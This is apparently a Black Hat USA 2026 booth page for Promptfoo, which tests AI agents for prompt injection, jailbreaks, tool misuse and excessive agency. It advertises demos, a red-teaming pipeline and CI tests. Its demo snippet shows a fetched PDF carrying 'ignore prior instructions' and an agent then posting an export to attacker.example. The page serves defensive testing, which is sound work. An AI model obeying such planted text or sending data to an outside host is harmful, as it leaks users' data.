Black Hat USA 2026 // Business Hall
Promptfoo at OpenAI booth #2967
Promptfoo is part of OpenAI. Visit OpenAI booth #2967 to see us test real AI applications for prompt injection, jailbreaks, data leaks, and unsafe agent actions. When an attack works, you get the transcript.
// Logistics
Mandalay Bay is large and the show floor is loud. Here's the short version.
01 / The booth
Find us at OpenAI booth #2967 in Bayside halls A-D at Mandalay Bay. Bring an architecture diagram or a sanitized test case, and we'll show you where we'd start testing.
02 / When
Trainings run August 1-4; Briefings are August 5-6. All times are Pacific time (PDT).
03 / Request a meeting
Request time to discuss your application and threat model away from the show floor.
Request a meeting// Demos
See what an attack does, then inspect the evidence it leaves behind.
transcript
user summarize this vendor PDF tool fetch() -> "...ignore prior instructions" model POST /export?to=attacker.example
Watch an application retrieve a document that hides a malicious instruction. The transcript shows what the agent did next.
grader
FAIL excessive-agency refund(order_id) called without approval
See what happens when an agent has more access than it needs. We test tool misuse, memory poisoning, and actions taken without human approval.
ci diff
+ redteam.yaml + plugins: [indirect-prompt-injection] 1 confirmed finding -> 1 blocking test
See how one confirmed finding becomes a test in your repo and runs again on the next commit.
// Pipeline
The same five steps, whether you run them once before launch or on every pull request.
Map the endpoints, tools, and system prompts the target can reach.
Target-specific attacks find failures that static lists miss.
Run them at scale: single-turn, multi-turn, and agentic.
Graders triage likely failures and keep the transcript for review.
Every confirmed break becomes a test case that runs in CI.
// OpenAI security
Daybreak is OpenAI's broader cyber-defense initiative. Codex Security checks your code, while Promptfoo tests the agent you ship.
Daybreak
Daybreak brings together OpenAI models, Codex Security, and security partners to help defenders find, verify, and fix vulnerabilities. Promptfoo complements that work by testing deployed AI agents.
your repository
Codex Security builds a threat model for your repository, reproduces likely vulnerabilities in a sandbox, and proposes fixes for human review. It does not change your code.
your deployed agent
We test the agent you actually ship for prompt injection, jailbreaks, tool misuse, and excessive agency. Codex Security checks the code; Promptfoo checks the agent.
Open source, self-hostable, and used by 156 of the Fortune 500.
// Black Hat + DEF CON
Find us at OpenAI booth #2967 at Black Hat, Aug 4-6, then at OpenAI booth #1412 at DEF CON, Aug 7-9.
You are here
Aug 1-6
Mandalay Bay Convention Center
Stop by OpenAI booth #2967 during Business Hall hours, or request a meeting to talk through your application.